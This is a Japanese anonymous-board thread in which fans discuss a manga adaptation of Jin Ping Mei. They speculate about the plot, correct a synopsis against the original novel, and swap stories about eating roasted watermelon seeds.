468 :花と名無しさん:2007/11/29(木) 22:05:32 ID:???O
旦那様より経済の方が良い男に感じる。
と言うか自分のモロタイプなんだがww

469 :花と名無しさん:2007/11/30(金) 01:55:04 ID:???0
>>461
次スレは
「瓶児さん、お可哀想に・・・。」

ついでに私も「×雲」の多さに不自然さは感じた。

470 :花と名無しさん:2007/11/30(金) 01:56:17 ID:???0
間違えた
>>467さん宛

豚箱に逝ってきます

471 :花と名無しさん:2007/11/30(金) 07:47:06 ID:???0
庭師これからどうからんでくるんだろう。結構主要人物としてのこるのかなぁ。

472 :花と名無しさん:2007/11/30(金) 12:51:37 ID:???0
でも原典では悲惨な末路を辿るんだよね・・・・
なんとか変えてほしいなぁ

473 :花と名無しさん:2007/11/30(金) 15:10:38 ID:???0
金蓮って実はサゲマン?

474 :花と名無しさん:2007/11/30(金) 22:04:16 ID:???0
私も経済の方がタイプだな。モラルの線引きをしっかりしている所、店内でおきている
怪しいところに目を光らせている所など。で、思ったのだけど
多分、今回の話で出てきた薬が、旦那様の命を縮める。
旦那様の死後、金連は経済と通じる。
 (経済はここでも婿殿なのか?寡婦の再婚はOKだから、経済が妻帯者でない限り、問題ない希ガス)
馮婆も出てきたことだから、物語の鍵を握るキャラクターや伏線が揃ったところで
一気に話が進む・・・ノカナ・・・それでも引き延ばしはまだまだ続くかな?

475 :花と名無しさん:2007/11/30(金) 23:57:03 ID:???0
原作をまだ読んでいないから
旦那様が死に、ましてやその後も話が続いていくなんて淋しい

476 :花と名無しさん:2007/12/01(土) 06:59:34 ID:???O
原作をまるで知らなかったから今月の読んで経済が実は人狼なのかと勘違いしそうになった

いや…だって新月の晩にお待ちしてますとか言うから…

477 :花と名無しさん:2007/12/01(土) 10:04:43 ID:???O
いや、まだわからんよ。完全原作準拠じゃないし

478 :花と名無しさん:2007/12/01(土) 12:25:58 ID:???0
しかし、金蓮の腹の上で死ぬのは決まっているでしょ。
あらすじに書いちゃったから。
まだ、跡継ぎが登場してないから、まだまだ先だな。

479 :花と名無しさん:2007/12/01(土) 14:06:04 ID:???O
それにしても金蓮丸くなったなあ
前の金蓮なら玉楼の気遣いにもうるせーと思ったり、
その夜の相手が大奥様でも「じゃあ仕方ないわ」なんて納得したりしなかったはず

480 :花と名無しさん:2007/12/01(土) 14:12:02 ID:???0
>>478
あらすじはあくまで「原典・元ネタでは」こうなっていますてことでしょ?

でもあのあらすじ最後が間違っていると思う。
慶の死後、大姐の夫は義父の妾とその小間使いに手を出す(出される)が、
それは未亡人に露見して女達は売られその先で惨殺及び腹下死。
男も落ちぶれる。
で、その後に夫婦養子に入った玳安はきちんと未亡人の面倒をみていた。

陳敬済と玳安が混同されている。

481 :花と名無しさん:2007/12/01(土) 19:14:17 ID:???0
武松の名前もちらっと出たし少しづつ終わりに向かっている感じがス

>>479
金蓮の心は、今半分くらい経済のほうに行っちゃってるから
旦那様が大奥様に甘えに行っても気にしてないのでは。

482 :花と名無しさん:2007/12/02(日) 02:45:41 ID:???0
>>480
確かに、いつもの雑誌やコミックでは原典や原作のあらすじが
「参考」として書かれていますね。でも
>陳敬済と玳安が混同されている。
ここ、気になっていました。そのうえ婿殿としての登場じゃなかったから、そして武松が金蓮に復讐を遂げた後
「西門家では堕落した生活を送っていました。」
これもチョット違う事も加え、竹崎キンペの粗筋と読解。
やっぱり>>480さんの仰有るとおり、ただの混同だったら確かに、先は全然解りません。ど〜なるのかなぁ〜

483 :花と名無しさん:2007/12/03(月) 02:26:21 ID:???0
>>466
>>467
dです
467さんのは雑誌を買って持っています。
なれない服を着た雪娥姐さんに対して、
旦那様がかなりかっこいいセリフを言ってくれるですよねえ。

とにかく文庫は全部買うことにします。

484 :花と名無しさん:2007/12/03(月) 12:11:57 ID:???0
漫画の1巻で金蓮が食べてたスイカの種(?)が台湾物産館で売ってたので買ってきて食べたよ!
しょうゆ味とふつうのがあったのでしょうゆ味を買ってきた。
スイカの種の中の実を食べるらしいが種に実が張り付いてて全然実が食べられない。
もう買わない。どうやってスイカの種を口の中で割って中身だけ食べるんだよ。ムリポ。
スイカの種はふつうのより大きかった。

今月瓶児分が足りないw

485 :花と名無しさん:2007/12/04(火) 03:03:32 ID:???0
>>484さんの書き込みを見て、
今年の夏にスイカの種を食べようとしたことを思い出したw

フライパンでいって塩味つけて食べたんだけど、
>>484さんの言うとおり種に実が張り付いて食べるところが少なかったんだよなぁ。
金蓮みたいにプッってしたかったのに・・・w
そうか、日本のスイカの種よりも大きいんだね。


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